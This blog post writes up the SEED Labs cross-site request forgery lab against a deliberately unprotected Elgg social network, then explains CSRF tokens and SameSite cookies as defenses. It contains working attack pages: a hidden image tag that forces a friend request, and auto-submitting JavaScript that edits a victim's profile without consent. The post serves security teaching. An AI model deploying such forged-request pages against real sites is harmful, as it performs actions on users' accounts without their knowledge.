Cross-Site Request Forgery

Ifeanyi Ukadike · August 8, 2023

csrf

When a page from a website sends an HTTP request back to the website, it is called a same-site request. If the request is sent to a different website, it is called a cross-site request.

So suppose Bob is logged into Facebook and visits a malicious web page. The malicious webpage can craft a request on behalf of Bob and send it to Facebook. If Facebook is none the wiser, the server will think it was Bob who made such a request. This is the goal of Cross-Site Request Forgery (CSRF).

Cross-Site Request Forgery is a type of attack in which an attacker tricks a user into visiting a malicious page that can send a forged request to a targeted website on behalf of the victim. The goal of a CSRF attack can vary, but usually it involves performing actions on behalf of the targeted user without their consent or knowledge, like withdrawing money from their bank account, changing their password, making a purchase, etc.

Then, in the example I gave above, how can Facebook be wiser? Facebook developers can implement countermeasures such as CSRF tokens. These tokens are unique values generated by the server and included in forms or requests. The browser must include this token with each request, and the server verifies its validity before processing the action, ensuring that the request actually originates from Facebook.

SeedLabs: Cross-Site Request Forgery Attack Lab


CSRF Attack using GET Request

In this task, we have two users, Samy and Alice, in the Elgg social network, and the Elgg social network countermeasures against CSRF have been disabled. Samy wants to become a friend of Alice, but Alice refuses to add him to her Elgg friend list. Samy thus decides to use a CSRF attack to add himself to Alice’s friend list.

To accomplish this, Samy sends a URL to Alice; Alice, being curious, clicks on the URL, which leads her to Samy’s web site: www.attacker32.com. By just Clicking on that malicious link, the attack has already happened (and is successful as long as Alice is logged in). Alice, on the other hand, thinks she is viewing a Beningn web page.

For the purpose of this task, I assume the user, Samy.

  • To add a friend to the victim, Samy needs to identify what the legitimate Add-Friend HTTP request looks like. To do this, he can add another user on the Elgg social network while monitoring the requests the browser makes when he does so.

    • The request is http://www.seed-server.com/action/friends/add?friend=57&__elgg_ts=1691160380,1691160380&__elgg_token=e44ks44KdSrhoXnb4p-Wsg,e44ks44KdSrhoXnb4p-Wsg

      task-1-a

    • However, since the CSRF countermeasures have been disabled, the request is http://www.seed-server.com/action/friends/add?friend=57. Where 57 is the ID of the user.     - Samy needs to find his own ID and substitute the number. The request now becomes http://www.seed-server.com/action/friends/add?friend=59

  • Next Samy crafts a malicious web page that, once Alice visits it, makes the friend request on behalf of Alice even without any interaction from Alice.

    • Samy designs a web page and embeds within it an image tag that makes the request.

      <html>
      <body>
      <h1>This page forges an HTTP GET request</h1>
      <img src="http://www.seed-server.com/action/friends/add?friend=59" alt="image" width="1" height="1" />
      </body>
      </html>
      
  • Next Samy gets Alice to visit the malicious website www.attacker32.com/addfriend.html. Alice upon opening the website doesn’t realize an attack just took place.

    task-1-b

If we check Alice friends list, we can see that indeed the attack was successful as Samy is now a friend of Alice.

task-1-c


CSRF Attack using POST Request

In this task, Samy is not satisfied that he is now on Alice’s friends list; he wants Alice’s profile page to say “Samy is my Hero”, so everybody knows Alice adores him. But Alice does not like Samy, so she will never put that statement in her profile. Samy thus decides to use a CSRF attack to edit Alice’s profile to say “Samy is my Hero”.

To accomplish this, Samy sends a URL to Alice; Alice, being curious, clicks on the URL, which leads her to Samy’s web site: www.attacker32.com.

For the purpose of this task, I assume the user, Samy.

  • To edit the profile page of the victim, Samy needs to identify what the legitimate profile edit HTTP request looks like. To do this, he can edit his own page on the Elgg social network while monitoring the requests the browser makes when he does so.

    • It is a post request made to http://www.seed-server.com/action/profile/edit

      task-2-a

    • The post request has a number of parameters that are set. However, the parameters that are important to Samy during the attack are: “name”, “briefdescription”, “accesslevel[briefdescription]”, and “guid”.

      For this attack, the parameters would be
      name: Alice
      briefdescription: "Samy is my Hero"
      accesslevel[briefdescription]: 2 (this sets the section to be public)
      guid: 56 (this is Alice guid)
      
  • Next Samy crafts a malicious web page that, once Alice visits it, makes a request on her behalf to edit her profile page. This webpage would have Javascript code that would be responsible for making the request.

    Samy designs a web page with malicious Javascript code that makes the request.

    <html>
    <body>
    <h1>This page forges an HTTP POST request.</h1>
    <script type="text/javascript">
      
    function forge_post()
    {
        var fields;
      
        // The following are form entries need to be filled out by attackers.
        // The entries are made hidden, so the victim won't be able to see them.
        fields += "<input type='hidden' name='name' value='Alice'>";
        fields += "<input type='hidden' name='briefdescription' value='Samy is my hero'>";
        fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";         
        fields += "<input type='hidden' name='guid' value='56'>";
      
        // Create a <form> element.
        var p = document.createElement("form");
      
        // Construct the form
        p.action = "http://www.seed-server.com/action/profile/edit";
        p.innerHTML = fields;
        p.method = "post";
      
        // Append the form to the current page.
        document.body.appendChild(p);
      
        // Submit the form
        p.submit();
    }
    
    // Invoke forge_post() after the page is loaded.
    window.onload = function() { forge_post();}
    </script>
    </body>
    </html>
    
  • Next Samy gets Alice to visit the malicious website www.attacker32.com/editprofile.html. Alice upon opening the website doesn’t realize that an attack is taking place. However, after some seconds Alice gets redirected to her profile page where she sees “Samy is my hero”.

    task-2 -b

If we check Alice profile page, we can see that indeed the attack was successful as “Samy is my hero” is on Alice’s profile page.

task-2-c


Extra
If Samy would like to launch the attack on anybody who visits his malicious web page and not only Alice, he might still be able to launch the CSRF attack to modify the victim’s Elgg profile. Samy would need a way to dynamically get the name and guid of the users that click on the malicious web page.
In the case of the Elgg social network, there is no API to get those values, and the browser's access control prevents the JavaScript code in the malicious page from accessing any content on Elgg's pages. So the attack has to be targeted.
However, in a case where there is an API to get such values, Samy can use the API to get the values and include those values in his Javascript code.


Defending against CSRF

CSRF is quite easy to defend against. One of the two approaches usually taken to defeat CSRF is:

  • Using CSRF Tokens: this involves generating a unique CSRF token for each user session and including it in a hidden field or the HTTP header of every form or AJAX request. When the server receives a request, it can verify that the token matches the one associated with the user’s session, thus preventing CSRF attacks.

    To defend against CSRF attacks, web applications can embed a secret token in their pages. All the requests coming from these pages must carry this token, or they will be considered a cross-site request. Since attackers will not be able to get this secret token, their requests will easily be identified as cross-site requests.

    The Elgg social network embeds two parameters, __elgg_ts and __elgg_token in each request it originates. The server will validate these two (2) tokens before processing a request.

  • Implementing SameSite Cookies: this involves seting the SameSite attribute on session cookies to prevent browsers from including cookies in requests originating from a different site or cross-origin requests, mitigating CSRF attacks.

    To set SameSite cookies, you need to include the SameSite attribute when setting the cookie value. The SameSite attribute can have the values “None”, “Lax”, and “Strict”.

    • sameSite=None: This tells the browser to include the cookie in either same-origin requests or cross-origin requests.

    • sameSite=Lax: This tells the browser to include the cookie in all same-origin requests and some cross-origin requests. The permitted cross-origin requests are a GET request issued by a top-level navigation, or a GET request that is initiated through a user action like submitting a form (Cross-site requests, such as those made from third-party websites via images, scripts, or iframes, are rejected).

    • sameSite=Strict: This tells the browser to include the cookie in only same-origin requests and not cross-origin requests.

      SameSite attribute is only supported by modern browsers; thus, older browsers may ignore the attribute. Thus, to be on the safe side, it’s always better to include a fallback mechanism for older browsers if SameSite functionality is crucial. This fallback could be using CSRF Tokens.


Thanks for reading.

Twitter, Facebook